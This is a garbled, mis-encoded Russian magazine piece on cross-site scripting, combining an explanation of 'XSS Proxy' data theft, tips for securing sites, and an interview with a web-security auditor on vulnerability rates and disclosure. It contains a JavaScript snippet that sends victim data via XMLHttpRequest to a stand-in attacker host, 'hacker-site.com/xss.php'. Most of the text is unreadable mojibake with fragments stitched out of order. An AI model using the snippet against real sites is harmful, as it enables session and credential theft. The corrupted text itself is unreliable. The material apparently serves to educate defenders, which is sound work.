XSS ïðàêòè÷åñêè áåçãðàíè÷íû. 

×àñòî äóìàþò, ÷òî ñ ïîìîùüþ âíåäðåíèÿ
HTML ìîæíî äîñòè÷ü îäíîãî � ìîäèôèöèðîâàòü
âíåøíèé âèä ñòðàíèöû ñàéòà. Ïðè ýòîì íè î êàêîì
ïîëó÷åíèè äàííûõ îò ïîëüçîâàòåëÿ íå èäåò è ðå÷è.
Íî ýòî íå òàê. «×óâñòâèòåëüíóþ èíôîðìàöèþ»
(sensetive information � ïàðîëè, ëîãèíû, ÿâêè è
ïðî÷èå ñâåäåíèÿ î ïîëüçîâàòåëå) ìîæíî äîáûòü è
áåç JavaScript'a, è ê òîìó åñòü ðÿä ïîäõîäîâ. Â ïåð-
âóþ î÷åðåäü ýòî óæå óïîìÿíóòûé XMLHttpRequest

è òåõíîëîãèÿ AJAX (òàê íàçûâàåìûé XSS-AJAX).
Õàêåð íà ïîäâëàñòíîé åìó òåððèòîðèè êàêîãî-ëè-
áî âåá-ñåðâåðà ðàçìåùàåò PHP-ñòðàíèöó, ñîáè-
ðàþùóþ â ëîã (íå âàæíî � òåñòîâûé ôàéë, áàçó
äàííûõ èëè åùå ÷òî) âñå òå ïàðàìåòðû, ÷òî åìó ïå-
ðåäàþòñÿ, à òàê æå êóêè. Ñ äðóãîé ñòîðîíû, XSS-
âåêòîð ñîäåðæèò êîä, êîòîðûé ÷åðåç XMLHttpRequ-
est ïåðåäàåò íà ýòîò ñêðèïò âñå, ÷òî íàäî ïîëó÷èòü
îò ïîëüçîâàòåëÿ. Òàêîé ñïîñîá ïîëó÷èë íàçâàíèå
XSS Proxy:

function HTTPRequest (url)

{

// branch for native XMLHttpRequest

object

if (window.XMLHttpRequest) {

req = new XMLHttpRequest();

req.onreadystatechange =

processReqChange;

req.open("GET", url, true);

req.send(null);

// branch for IE/Windows ActiveX

version

} else if (window.ActiveXObject) {

req = new

ActiveXObject("Microsoft.XMLHTTP");

if (req) {

req.onreadystatechange =

processReqChange;

req.open("GET", url, true);

req.send();

}

}

return (req.responseText);

}

var XSSCode = HTTPRequest

("http://hacker-

site.com/xss.php?everething-needed-

is-listed-here");

beyond tthe iinvisible. XSS ïîâñåìåñòåí. Ãëóïî
íå îáðàùàòü íà íåãî âíèìàíèå ïðè ñîçäàíèè ñàé-
òîâ. Ðàçâèòèå âåáà âåäåò ê óñëîæíåíèþ, à êàæäîå
óñëîæíåíèå � áîëüøå ïîòåíöèàëüíûõ äûð è âîç-
ìîæíîñòåé äëÿ õàêåðà. Óñîâåðøåíñòâîâàíèå ñè-
ñòåì çàùèòû ïîðîæäàåò óñîâåðøåíñòâîâàíèå èí-
ñòðóìåíòàðèÿ äëÿ íàïàäåíèÿ. XSS â CSS è ôëå-
øå, XSS-÷åðâè � ýòî òîëüêî íà÷àëî. Ìû åùå ñòà-
íåì ñâèäåòåëÿìè ãðÿäóùèõ èçîùðåííûõ àòàê, ðå-
àëèçîâàííûõ ïî ïðèíöèïàì XSS. Âíåäðåíèå è
ðàñøèðåíèå òåõíîëîãèé è ñòàíäàðòîâ âåá-ñåðâè-
ñîâ, RSS/Atom, XLink è XPath � îñíîâà äëÿ áóäó-
ùèõ âèäîâ àòàê è äëÿ äàëüíåéøåé ýâîëþöèè ìå-
òîäîâ XSS.
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Èñõîäíûå 
äàííûå

XSS-âåêòîð âñêðûòûé

Çàêðûòèå
êîíòåêñòà

Òåëî
âåêòîðà

Ïåðåâîä
êîíòåêñòà

Ïåðåâîä
êîíòåêñòà

Còðóêòóðà XSS-âåêòîðà

ÊÀÊ 
ÎÁÅÇÎÏÀÑÈÒÜ
ÑÂÎÉ ÑÀÉÒ 
ÎÒ XSS?

Åäèíñòâåííàÿ ñèòóàöèÿ, êîãäà òû ìî-
æåøü íå áåñïîêîèòüñÿ î áåçîïàñíîñòè
ñàéòà â ïëàíå XSS � ýòî åñëè îí ñîäåð-
æèò èñêëþ÷èòåëüíî ñòàòè÷åñêèå txt
è html-ñòðàíèöû, áåç JavaScript, VB-
Script, Java è âñòðîåííûõ îáúåêòîâ.
Òî åñòü åñëè îí íèêîãäà íå ïîëó÷àåò
äàííûå îò ïîëüçîâàòåëåé è íå ðàáîòàåò
ñ áàçàìè äàííûõ, êîòîðûå ìîãóò áûòü
ìîäèôèöèðîâàíû èçâíå. Â îñòàëüíûõ
ñëó÷àÿõ XSS âîçìîæåí, è èçáåæàòü åãî
äîñòàòî÷íî ñëîæíî (ïî êðàéíåé ìåðå,
ýòî òðåáóåò î÷åíü âíèìàòåëüíîãî
è òùàòåëüíîãî ïîäõîäà ê íàïèñàíèþ êî-
äà). Íî åñòü ðÿä ïðàêòè÷åñêèõ ñîâåòîâ,
êîòîðûå õîòü è íå ãàðàíòèðóþò àáñî-
ëþòíóþ áåçîïàñíîñòü, íî ñóùåñòâåííî
óâåëè÷èâàþò øàíñû èçáåæàòü îáèëèÿ
äûðîê â ñâîèõ ñàéòàõ.

1 Èñïîëüçîâàòü çàðåêîìåíäîâàâøèå
ñåáÿ è ïðîâåðåííûå âðåìåíåì open
source frameworks (ïî êðàéíåé ìåðå,
òå èõ êîìïîíåíòû èëè èçáðàííûå ôóíê-
öèè, êîòîðûå ñâÿçàíû ñ ôèëüòðàöèåé
äàííûõ îò ïîëüçîâàòåëÿ). Ïðîâåðêà âðå-
ìåíåì îïðåäåëÿåòñÿ ïî òîìó, íàñêîëüêî
÷àñòî â ïóáëè÷íûõ áàã-ëèñòàõ ïóáëèêó-
þòñÿ âíîâü íàéäåííûå XSS-äûðû â ýòèõ
ôðåéìâîðêàõ. Òîëüêî íå çàáûâàé, ÷òî
«ìàëî íàéäåííûõ äûð» � ýòî íå âñåãäà
êà÷åñòâî ñèñòåìû, çà÷àñòóþ ýòî ïðîñòî
åå ìàëàÿ ïîïóëÿðíîñòü. Ïîýòîìó åñëè
ãîâîðèòü îá open source, òî íóæåí èç-
âåñòíûé, øèðîêî èñïîëüçóåìûé è êà÷å-
ñòâåííî ðåàëèçîâàííûé êîä.

2 Íèêîãäà íå äîâåðÿòü íè÷åìó, ÷òî
ïîëó÷åíî îò ïîëüçîâàòåëÿ. Îá ýòîì ãî-
âîðÿò ìíîãèå è ìíîãî, òîëüêî çàáûâàþò
ïåðå÷èñëÿòü âñå ïîòåíöèàëüíûå èñòî÷-
íèêè äëÿ ïîëó÷åíèÿ ïîëüçîâàòåëüñêîé
èíôîðìàöèè. Òàê âîò, äàííûå îò ïîëü-
çîâàòåëÿ � ýòî íå òîëüêî ïàðàìåòðû
â GET è POST-çàïðîñàõ. Ïîìèìî ýòîãî
ñëåäóåò îáðàùàòü âíèìàíèå íà äàííûå,

÷èòàåìûå ñêðèïòàìè èç ëîêàëüíûõ
ôàéëîâ, è äàííûå, ÷èòàåìûå èç áàçû
äàííûõ. Âåäü çà÷àñòóþ õàêåð èëè æå
ïðîñòî ñîòðóäíèê-çëîóìûøëåííèê ìî-
æåò ïîëó÷èòü äîñòóï ê ëîêàëüíûì ôàé-
ëàì èëè áàçå äàííûõ, à ýòî ñàìûé ýô-
ôåêòèâíûé âèä XSS-àòàêè: âíåäðåííûå
äàííûå ïåðåäàþòñÿ âñåì ïîñåòèòåëÿì
ôàéëà, è äëÿ ýòîãî íå íóæíû ïî÷òîâûå
ðàññûëêè. Èìåííî íà òàêîì òèïå XSS
è ðåàëèçóþòñÿ ñàìûå äåñòðóêòèâíûå
åãî ôîðìû � ÷åðâè è ïðî÷åå.

3 Áåçîïàñíîñòü áîëåå âñåãî çàâèñèò
íå îò èñïîëüçóåìûõ ïðàâèë, ðåêîìåíäà-
öèé, ðåöåïòîâ, èñòî÷íèêîâ êîäà è ïðî÷å-
ãî, à èìåííî îò òîãî, êòî âñå ýòî äåëàåò
è êîíòðîëèðóåò � îò ïðîãðàììèñòà è àä-
ìèíèñòðàòîðà. Ïðàâèëî «äîðàáîòàòü íà-
ïèëüíèêîì» � ñâÿòîå. Êàæäûé ïðîäóêò,
íåñìîòðÿ íà äîâåðèå ê àâòîðó êîäà (áóäü
òî äðóã, òû ñàì èëè open source project),
äîëæåí áûòü âåðèôèöèðîâàí è ïðîâåðåí
â ñàìûõ ðàçëè÷íûõ ñèòóàöèÿõ ïðîôåñ-
ñèîíàëàìè � ïðîöåäóðà, èìåíóåìàÿ àó-
äèòîì áåçîïàñíîñòè íåîáõîäèìà!
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Q: ÀÀóäèò ááåçîïàñòíîñòè �� 
ýòî ääîðîãîå óóäîâîëüñòâèå?
A: Äîðîãîâèçíà óñëóã ïî àóäèòó áåçî-
ïàñíîñòè � ýòî ìèô. Íî ýòî ñ îäíîé
ñòîðîíû, à ñ äðóãîé � ïîòåíöèàëü-
íûå çàêàç÷èêè, â îñíîâíîì, ïîôèãè-
ñòû, â òîì ÷èñëå è ðåáÿòà, ðàáîòàþ-
ùèå â êîìïàíèÿõ-ãèãàíòàõ. Ëþáÿò,
÷òîáû èì äûðû íàõîäèëè íà õàëÿâó,
ðåàãèðóþò, êîãäà èõ èëè èõ êëèåíòîâ
ïîõàêàþò, è àóäèòû áåçîïàñíîñòè
îñîáî çàêàçûâàòü íå ëþáÿò. Òàê ÷òî
ñàìà îòðàñëü òîëüêî â íà÷àëå ñâîåãî
ïóòè (ÿ èìåþ â âèäó ðó÷íîé àóäèò, òàê
êàê ñêàíåðû óæå çàíÿëè ñâîþ íèøó).
Êòî-òî íà÷èíàåò ïîëüçîâàòüñÿ ñêàíå-
ðàìè áåçîïàñíîñòè (åñëè îí î íèõ,
êîíå÷íî, ñëûøàë), êîòîðûå ïî-íà-
ñòîÿùåìó äîðîãè è ïîðîé ìàëîýô-
ôåêòèâíû, ÷òî ïîäòâåðæäàþò ñîîá-
ùåíèÿ î äûðàõ íà ñàéòàõ ñåêüþðèòè-
êîìïàíèé, â òîì ÷èñëå ïðîèçâîäèòå-
ëåé ýòèõ ñàìûõ ñêàíåðîâ. Äà è â öå-
ëîì àóäèò áåçîïàñíîñòè, çàêàçàííûé
ó ñïåöèàëèñòà, áóäåò ýôôåêòèâíåå
è îáîéäåòñÿ çíà÷èòåëüíî äåøåâëå.

Öåíà çàâèñèò îò ñàéòà, åãî ðàç-
ìåðîâ è êîëè÷åñòâà ñåðâèñîâ íà íåì
(à òàêæå êîëè÷åñòâà òèïîâ óÿçâèìî-
ñòåé äëÿ òåñòèðîâàíèÿ). ×åì áîëüøå
ñàéò, òåì áîëüøå ñðîêè òåñòèðîâàíèÿ
è èòîãîâàÿ öåíà. Íî âñåãäà ìîæíî äî-

ãîâîðèòüñÿ è íàéòè ïðèåìëåìóþ öåíó
ïðîâåðêè êîíêðåòíîãî ðåñóðñà. Äëÿ
íåáîëüøèõ ðåñóðñîâ åå ñòîèìîñòü
ìîæåò áûòü â ðàéîíå íåñêîëüêèõ ñî-
òåí äîëëàðîâ. Äðóãèìè ñëîâàìè, öå-
íà äîãîâîðíàÿ. Ïðè÷åì àóäèò ìîæåò
áûòü ðàçîâûì, à ïîâòîðíî îáðàùàòü-
ñÿ ê íåìó ìîæíî ÷åðåç íåêîòîðîå âðå-
ìÿ óæå ïî ìåðå íåîáõîäèìîñòè.

Åñëè ãîâîðèòü î ñåðüåçíûõ ïðî-
åêòàõ, òî íà áåçîïàñíîñòü íóæíî âûäå-
ëÿòü äî 10% îò ñòîèìîñòè (îöåíî÷íîé)
áèçíåñà. Íî ó÷èòûâàÿ íàø ìåíòàëè-
òåò, ëþáîâü ê õàëÿâå è ñòîéêîå æåëà-
íèå íå ïëàòèòü çà ñâîþ áåçîïàñíîñòü,
÷àñòî âûäåëÿåìûé áþäæåò íà áåçî-
ïàñíîñòü ñòðåìèòñÿ, óâû, ê íóëþ�
Q: ÅÅñëè ááû òòû ññîñòàâëÿë ððåéòèíã
óãðîç èèçâíå, òòî êêàêîå ììåñòî 
çàíÿëè ááû SSQL IInjection èè XXSS 
â ýýòîì ««õèò-ïïàðàäå»?
A: Äàííûå óÿçâèìîñòè áûëè áû îäíè-
ìè èç ïåðâûõ. Ëîãè÷íåå ðàçäåëèòü èõ
«òîï» íà äâà: íàèáîëåå îïàñíàÿ è íàè-
áîëåå ðàñïðîñòðàíåííàÿ óÿçâèìîñòü.

Â ðåéòèíãå íàèáîëåå îïàñíûõ
íà ïåðâîå ìåñòî ÿ ïîñòàâèë áû PHP-
èíêëþäèíã è óäàëåííîå èñïîëíåíèå
êîäà (÷åðåç òîò æå PHP file inclusion).
Äàëåå èäåò XSS, â ðàçëè÷íûõ åãî
ïðîÿâëåíèÿõ. Äàëåå SQL Injection. À
ïîñëå � äðóãèå óÿçâèìîñòè, òàêèå êàê

ÅÅÂÂÃÃÅÅÍÍÈÈÉÉ ÄÄÎÎÊÊÓÓÊÊÈÈÍÍ
AAKKAA MMUUSSTTLLIIVVEE
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ñ òîãî ìîìåíòà, êàê ïàïà ïîäàðèë
ïåðâûé êîìïüþòåð � Ïîèñê-2.
Âåá-ïðîãðàììèðîâàíèåì çàíèìàåòñÿ
ñ 2001 ãîäà. Ïóáëè÷íóþ äåÿòåëüíîñòü
â ñôåðå âåá-áåçîïàñíîñòè íà÷àë
ñî ñâîåãî Mustlive security pack
(http://websecurity.com.ua/security-pack/).
Ïîçæå áûë îíëàéíîâûé
èíòåðïðåòàòîð Mustlive perl pascal
programs interpreter (http://mlfun.org.-
ua/ppi/). Èçâåñòåí ìíîãèì ïî ïðîåêòó
websecurity (http://websecurity.com.ua),
êîòîðûé ïîñâÿùåí èñêëþ÷èòåëüíî
âåá-áåçîïàñíîñòè. Àêòèâíî
çàíèìàåòñÿ ñîöèàëüíûì ñåêüþðèòè-
àóäèòîì � áåçâîçìåçäíûì ïîèñêîì
äûð è îïîâåùåíèåì
àäìèíîâ ðàçëè÷íûõ âåá-ñàéòîâ
î íàéäåííûõ óÿçâèìîñòÿõ

ææååññòòîîêêààÿÿ 
ïïððààââääàà
Èíòåðâüþ ññ ààóäèòîðîì 
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ñëàáûå ïàðîëè (÷òî íåðåäêî âñòðå÷à-
åòñÿ), Directory indexing, Full path dis-
closure è äðóãèå.

Â ðåéòèíãå íàèáîëåå ðàñïðî-
ñòðàíåííûõ âíà÷àëå ÿ ïîñòàâèë áû
Cross-Site Scripting, äàëåå Full path
disclosure, PHP-èíêëþäèíã, SQL Injec-
tion, Directory indexing è äðóãèå.
Q:  ÊÊàêèå ööåëè îîáû÷íî, ïïðåñëåäóþò
õàêåðû, èèñïîëüçóÿ SSQL IInjection 
èëè XXSS? ÈÈ ÷÷òî ððåàëüíî îîíè 
ìîãóò ïïîëó÷èòü?
À: Îñíîâíàÿ öåëü õàêåðîâ � ýòî ïîëó-
÷åíèå êîíôèäåíöèàëüíîé èíôîðìà-
öèè, ïàðîëåé è äðóãèõ äàííûõ (íàïðè-
ìåð, òåêóùåé ñåññèè ïîëüçîâàòåëÿ),
â îñíîâíîì ñ öåëüþ íàæèâû. È âíå çà-
âèñèìîñòè îò òîãî, äåéñòâóåò ëè õàêåð
â îäèíî÷êó èëè æå ýòî îðãàíèçîâàííàÿ
ïðåñòóïíàÿ ãðóïïà, èõ öåëü � ýòî äåíü-
ãè. Êîíå÷íî, ýòî ìîæåò áûòü åùå è ïðî-
ìûøëåííûé øïèîíàæ, ìåñòü èëè ïðî-
ñòî æåëàíèå íàâðåäèòü, íî îñíîâíîé
óïîð âñå æå íà ïîëó÷åíèå ïðèáûëè.

Çàõâàòûâàþò îáû÷íî ëîãèíû
è ïàðîëè (èëè ñåññèè) ñ íóæíûõ ñàé-
òîâ, ãäå õðàíÿòñÿ äåíüãè èëè íåïî-
ñðåäñòâåííî ó÷åòíûå äàííûå âåá-êî-
øåëüêîâ, ëèáî èíôîðìàöèÿ êðåäèò-
íûõ êàðò. Äðóãîé âàðèàíò � çàõâàò
âàæíûõ äàííûõ ñ öåëüþ ïåðåïðîäà-
æè èëè øàíòàæà. Öåëü íàíåñåíèÿ
óùåðáà òàêæå âîçìîæíà, â òîì ÷èñëå
íà çàêàç. À âîò ñëó÷àåâ áàëîâñòâà,
âçëîìà îò íå÷åãî äåëàòü èëè äëÿ äå-
ìîíñòðàöèè ñâîèõ âîçìîæíîñòåé âñå
ìåíüøå è ìåíüøå.

Âñå ÷àùå âñòðå÷àþòñÿ èìåííî
ñïëàíèðîâàííûå öåëåíàïðàâëåííûå
àòàêè. À òàêæå âçëîìû ðàäè ïîëó÷å-
íèÿ äàííûõ äëÿ ñïàì-ðàññûëîê èëè
çàõâàòà ÏÊ ñ öåëüþ ñîçäàíèÿ ñïàì-
áîòà (îïÿòü æå, äëÿ ñïàì-ðàññûëîê).
Q: ÊÊàêîâ ïïðîöåíò ññàéòîâ,
êîòîðûå ìîæíî ââ ëëþáîé ììîìåíò
àòàêîâàòü ïïîñðåäñòâîì SSQL IInjection
èëè XXSS?
À: Òî÷íî ñêàçàòü ñëîæíî, êàê â ãëî-
áàëüíûõ ìàñøòàáàõ, òàê è â ìàñøòà-
áàõ ruíåòà èëè uàíåòà â ÷àñòíîñòè.
Ñòàòèñòèêó ìàëî êòî âåäåò, ïðîâîäèò-
ñÿ î÷åíü ìàëî ñîîòâåòñòâóþùèõ èñ-
ñëåäîâàíèé. Ìîæíî â êà÷åñòâå ïðè-
ìåðà èñïîëüçîâàòü äàííûå êîìïàíèè
Acunetix (http://websecurity.com.ua/120/):
SQL Injection èìååò 9%, à Cross Site
Scripting � 27% ñàéòîâ. Ýòè äàííûå
êîìïàíèÿ ïðèâîäèò, èñõîäÿ èç îøè-
áîê, íàéäåííûõ èõ ñêàíåðîì áåçî-
ïàñíîñòè (è ýòî â îñíîâíîì çàïàä-
íûå ñàéòû).

ß èñõîæó èç ñâîåé ïðàêòèêè îá-
íàðóæåíèÿ óÿçâèìîñòåé � â ruíåòå
è uàíåòå XSS-óÿçâèìîñòè íàõîæó
ïðàêòè÷åñêè íà êàæäîì ñàéòå, òàê ÷òî
ïîòåíöèàëüíî XSS-óÿçâèìîñòè ìîãóò
áûòü íà 90% ñàéòîâ. SQL Injection
âñòðå÷àåòñÿ ðåæå, ïîòåíöèàëüíî äî
10% ñàéòîâ ìîãóò èìåòü ïîäîáíûå
óÿçâèìîñòè. Ïðè÷åì XSS-óÿçâèìîñòè
ìîãóò áûòü íà ñàéòàõ áåç èñïîëüçîâà-
íèÿ ñåðâåðíûõ ñêðèïòîâ (http://webse-
curity.com.ua/127/), è îò ïëàòôîðìû ñàé-
òà ýòî íå çàâèñèò.
Q: ÏÏðàêòè÷åñêè ââñå ííîâîñòíûå
ëåíòû, ïïîñâÿùåííûå ááåçîïàñòíîñòè,
êèøàò ïïðåäóïðåæäåíèÿìè
î âîçìîæíîñòè SSQL IInjection èèëè
XSS. Òåì ííå ììåíåå, ññîçäàåòñÿ
âïå÷àòëåíèå, ÷÷òî èèõ ÷÷èòàþò òòîëüêî
ñàìè ììîäåðàòîðû èè óóçêèé êêðóã
ñïåöèàëèñòîâ, êêîòîðûå ïïîðîé ììîãóò
íå èèìåòü ïïðÿìîãî îîòíîøåíèÿ êê wweb.
×òî ýýòî �� ððÿäîâîé ïïîôèãèçì?
À: Ñ îäíîé ñòîðîíû, èìååò ìåñòî ðàâ-
íîäóøèå ê ïðîáëåìå. Ñ äðóãîé ñòîðî-
íû, ïðè÷èíà ýòîìó � íåäîñòàòîê çíà-
íèé. Îáùåñòâåííîñòü íóæíî ïðîñâå-
ùàòü íà òåìó áåçîïàñíîñòè. Ëþäè
äîëæíû çíàòü, ÷òî ñóùåñòâóþò óÿçâè-
ìîñòè, ÷òî îíè ìîãóò íàíåñòè âðåä è
÷òî íóæíî ñëåäèòü çà áåçîïàñíîñòüþ
ñâîèõ âåá-ñàéòîâ, âåá-ïðèëîæåíèé è
âåá-ñèñòåì. Íóæíî ðåãóëÿðíî ïðîâî-
äèòü àóäèò áåçîïàñíîñòè è ñëåäèòü çà
íîâîñòÿìè î âíîâü íàéäåííûõ óÿçâè-
ìîñòÿõ. À òàêæå íóæíî ïðîñâåùàòü
âåá-ðàçðàáîò÷èêîâ ïî âîïðîñàì áå-
çîïàñíîñòè, ÷òî ÿ è äåëàþ â ñâîåì ðó-
êîâîäñòâå � http://websecurity.com.ua/se-
curity/. Èíà÷å, äåéñòâèòåëüíî, ïîäîá-
íûå ìàòåðèàëû ÷èòàþò ëèøü ñïåöèà-
ëèñòû ïî áåçîïàñíîñòè, è òå, êîìó ýòà
òåìà èíòåðåñíà êàê ñìåæíàÿ ñ èõ äåÿ-
òåëüíîñòüþ. À òàêæå õàêåðû, êîòîðûå
ðàçðàáàòûâàþò èëè èñïîëüçóþò ýòè
æå äûðû è ýêñïëîéòû. Íó, è ñêðèïò-
êèääèñû.
Q: ÊÊàê èè ââ êêàêîé  èèìåííî
ïîñëåäîâàòåëüíîñòè òòû ïïðîâåðÿåøü
ðåñóðñû ííà ááðåøü ââ ññèñòåìå
áåçîïàñíîñòè?
À: Ìåíÿ ÷àñòî ñïðàøèâàþò, êàêèå
ñêàíåðû ÿ èñïîëüçóþ� ß íå èñïîëü-
çóþ íèêàêèõ. È ðåãóëÿðíî ïèøó ó ñå-
áÿ â íîâîñòÿõ î äûðàõ íà ñàéòàõ ñåêü-
þðèòè-ôèðì (íàïðèìåð, íà ñàéòå
ðàçðàáîò÷èêà ISS Internet Scanner �
http://websecurity.com.ua/378/), êîòîðûå
ýòè ñêàíåðû âûïóñêàþò. Òàê ÷òî ïðî-
êó îò íèõ íåìíîãî. Èñïîëüçóþ èñêëþ-
÷èòåëüíî ñâîè çíàíèÿ è îïûò, à â êà-

÷åñòâå ðàáî÷èõ èíñòðóìåíòîâ âûñòó-
ïàþò áðàóçåð (Mozilla â îñíîâíîì) è
òåêñòîâûé ðåäàêòîð (GVIM). Ïåðâûé
äëÿ òåñòèðîâàíèÿ, âòîðîé � äëÿ çà-
ïèñè ðåçóëüòàòîâ. Ïðè÷åì îáà èí-
ñòðóìåíòàðèÿ open source, òàê ÷òî ó
ìåíÿ âåñüìà îòêðûòûé ïîäõîä. È çíà-
íèÿ ìîè îò ÷àñòè open source, òàê êàê
äåëþñü ñ ïîñåòèòåëÿìè ìîåãî ïðîåê-
òà (http://websecurity.com.ua), ïóáëèêóÿ
èíôîðìàöèþ î ñâîèõ èññëåäîâàíèÿõ.

Êàê òàêîâîé ïîñëåäîâàòåëüíî-
ñòè ïîèñêà óÿçâèìîñòåé íå ñóùåñòâó-
åò, ê êàæäîìó ðåñóðñó ÿ âñåãäà ïîäõî-
æó èíäèâèäóàëüíî. Ïëþñ èíòóèòèâíî
÷óâñòâóþ, ãäå ìîãóò áûòü äûðû. Åñëè
íà ñàéòå ïðèñóòñòâóþò ôèëüòðû (çà-
ùèùàþùèå, íàïðèìåð, îò XSS), òî
ñòàðàþñü èõ îáîéòè, êîãäà ÷óâñòâóþ,
÷òî åñòü òàêàÿ âîçìîæíîñòü, äëÿ ÷åãî
ðàçðàáàòûâàþ ñîáñòâåííûå ìåòîäû.
Ïîýòîìó åñëè äûðà åñòü, îáÿçàòåëü-
íî íàéäó è ðàçðàáîòàþ ìåòîäèêó åå
ýêñïëóàòàöèè (÷òîáû ïîêàçàòü àäìè-
íàì ýòîãî ñàéòà ïîòåíöèàëüíóþ âîç-
ìîæíîñòü èñïîëüçîâàíèÿ ñóùåñòâóþ-
ùåé óÿçâèìîñòè).
Q: ÊÊàê ëëþäè îîáû÷íî ððåàãèðóþò 
íà òòâîè ññîîáùåíèÿ îîá óóÿçâèìîñòÿõ?
À: Ðåàãèðóþò âåñüìà ðàçíîîáðàçíî.
Êòî ïðîñòî áëàãîäàðèò, êòî âäîáàâîê
ê áëàãîäàðíîñòè ïðîñèò, ÷òîáû åùå
ñîîáùèëè î êàêèõ-ëèáî óÿçâèìîñòÿõ
íà èõ ñàéòå. Íåêîòîðûå ïðåäëàãàþò
ñîòðóäíè÷åñòâî, ïðè÷åì â ðàçëè÷íûõ
íàïðàâëåíèÿõ: êòî â îáëàñòè áåçî-
ïàñíîñòè è íà äëèòåëüíûé ñðîê, êòî
ïðåäëàãàåò ïðîâåñòè äåòàëüíûé ñåêü-
þðèòè-àóäèò ñàéòà, êòî â îáëàñòè âåá-
ðàçðàáîòêè. À áûâàþò ñëó÷àè, êîãäà
ïðåäëàãàþò êóïèòü è ìåíÿ, è ìîé ñàéò
ñî âñåìè ïîòðîõàìè. Íåêîòîðûå ëþ-
äè çàäàþò âîïðîñû êàñàòåëüíî äûð
íà èõ ñàéòå, â ÷àñòíîñòè, ïî íåêîòî-
ðûì òèïàì óÿçâèìîñòåé è ïî èõ ýêñ-
ïëóàòàöèè. Íî ãëàâíîå, ÷òîáû ëþäè
ïîíÿëè ðèñêè íàéäåííûõ íà èõ ñàéòå
óÿçâèìîñòåé è èñïðàâèëè èõ.

Òàêæå áûâàåò, ÷òî ãðóáÿò. ×òî
ìîë, íå ïîíèìàþò íè÷åãî â äàííîì
âîïðîñå è íå âèäÿò íèêàêîé îïàñíî-
ñòè, ëèáî âîîáùå íå çíàþò, î ÷åì ÿ
òîëêóþ. Èëè íå âèäÿò ïîâîäà äëÿ áåñ-
ïîêîéñòâà. À áûâàåò, è íåðåäêî, ÷òî
âîîáùå íèêàê íå ðåàãèðóþò. È ñàéòû
òàê è îñòàþòñÿ äûðÿâûìè�
Q: ÑÑêîëüêî ààäìèíèñòðàòîðîâ
ïðèñëóøèâàåòñÿ êê òòâîèì
ïðåäóïðåæäåíèÿì îîá óóÿçâèìîñòÿõ?
À: Åñëè ïîïûòàòüñÿ óñðåäíèòü, òî ïîëó-
÷èòñÿ ñëåäóþùàÿ êàðòèíà. 60% àäìè-

íîâ îòâå÷àþò íà ìîå ïèñüìî, èç íèõ
59% àäìèíîâ èñïðàâëÿþò óÿçâèìîñòè,
1% àäìèíîâ � íå èñïðàâëÿþò. 40% àä-
ìèíîâ íå îòâå÷àþò íà ìîå ïèñüìî,
èç íèõ 30% àäìèíîâ � èñïðàâëÿþò
óÿçâèìîñòè, 10% àäìèíîâ � íå èñïðà-
âëÿþò. Òàê ÷òî ïðàêòè÷åñêè 90% àäìè-
íîâ èñïðàâëÿþò óêàçàííûå ìíîþ óÿç-
âèìîñòè. Ýòî è åñòü ýôôåêòèâíîñòü ïó-
áëè÷íîé ðàáîòû. À âåäü ýòè äûðû ìî-
ãëè áû ãîäàìè âèñåòü è ýêñïëóàòèðî-
âàòüñÿ «äîáðûìè» ëþäüìè.
Q: ÊÊàê ïïðîâåðèòü ññîáñòâåííûé
ðåñóðñ? ÅÅñòü ëëè êêàêèå-ííèáóäü
ãîòîâûå òòåñòû, ññ ïïîìîùüþ êêîòîðûõ
ìîæíî ëëîêàëèçîâàòü ëëàçåéêè ääëÿ
ïðèìåíåíèÿ SSQL iinjection èèëè XSS?
À: Òåñòèðîâàòü ñâîé ðåñóðñ ìîæíî êàê
ñàìîñòîÿòåëüíî, òàê è îáðàòèâøèñü ê
ïðîôåññèîíàëàì. Åñòü ðàçëè÷íûå
êîìïàíèè, ôèðìû è ÷àñòíûå ñåêüþðè-
òè-ñïåöèàëèñòû, êîòîðûå çàíèìàþòñÿ
ýòèì ïðîôåññèîíàëüíî. Äðóãîå äåëî,
÷òî èìåííî íà âåá-áåçîïàñíîñòè ìà-
ëî êòî ñïåöèàëèçèðóåòñÿ, íî è òàêèå
äåÿòåëè åñòü. Èõ ìîæíî íàéòè ÷åðåç
ëè÷íûå ñàéòû, íà ñàéòàõ ñåêüþðèòè-
òåìàòèêè èëè íà õàêåðñêèõ ôîðóìàõ.
Äîñòàòî÷íî îáðàòèòüñÿ ñ ïðîñüáîé
íàéòè èñïîëíèòåëÿ, êîòîðûé ïðîòå-
ñòèðóåò ñàéò íà óÿçâèìîñòè.

Ãîòîâûõ òåñòîâ íåò, íî åñòü
ñåêüþðèòè-ñêàíåðû. Íàïðèìåð, XSpi-
der ðîññèéñêîãî ðàçðàáîò÷èêà Positi-
ve Technologies (íåäàâíî âûøëà 7-àÿ
âåðñèÿ). Åñòü ó íåãî è îíëàéí-âåð-
ñèÿ � http://online.xspider.ru. Íî ñêàíåðû
ìîãóò ëèøü ÷àñòè÷íî ðåøèòü âîïðîñ
òåñòèðîâàíèÿ áåçîïàñíîñòè âåá-ñàé-
òà èëè âåá-ïðèëîæåíèÿ. Íè îäèí ñêà-
íåð íå çàìåíèò ýêñïåðòà.
Q: Åñòü ëëè ïïîøàãîâîå ïïîñîáèå, êêàê
çàùèòèòüñÿ îîò SSQL IInjection èè XSS?
Èëè ââñå ññóãóáî èèíäèâèäóàëüíî?
À: Íóæíû çíàíèÿ. Ïîýòîìó íóæíî ÷è-
òàòü î ðàçíûõ òèïàõ óÿçâèìîñòåé,
÷òîáû çíàòü èõ îñîáåííîñòè. Òàêæå
íóæíî ÷èòàòü îá óÿçâèìîñòÿõ â ðàç-
ëè÷íûõ ñèñòåìàõ, î êîíêðåòíûõ äû-
ðàõ. ×òîáû çíàòü, ãäå â òâîåé ñèñòåìå
äûðà è êàê èñïðàâèòü (ïðè íàëè÷èè
íàâûêîâ ïðîãðàììèðîâàíèÿ) èìåííî
åå. Íåðåäêî â îïèñàíèè óÿçâèìîñòåé
ñðàçó ïðèâîäÿò íåîáõîäèìûå èñïðà-
âëåíèÿ äëÿ óñòðàíåíèÿ óêàçàííûõ
äûð. Íàïðèìåð, MustLive Security
Pack (http://websecurity.com.ua/security-
pack/) � ìîå ñîáñòâåííîå ðóêîâîä-
ñòâî ïî èñïðàâëåíèþ óÿçâèìîñòåé.
Òàê ÷òî èíôîðìàöèÿ åñòü, íóæíî
ëèøü èñêàòü åå.
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Q: ÊÊàê îîò SSQL iinjection èè XXSS
çàùèùàþòñÿ ããèãàíòû ððóíåòà òòèïà
ßíäåêñà, ÐÐàìáëåðà èè MMail.ru?
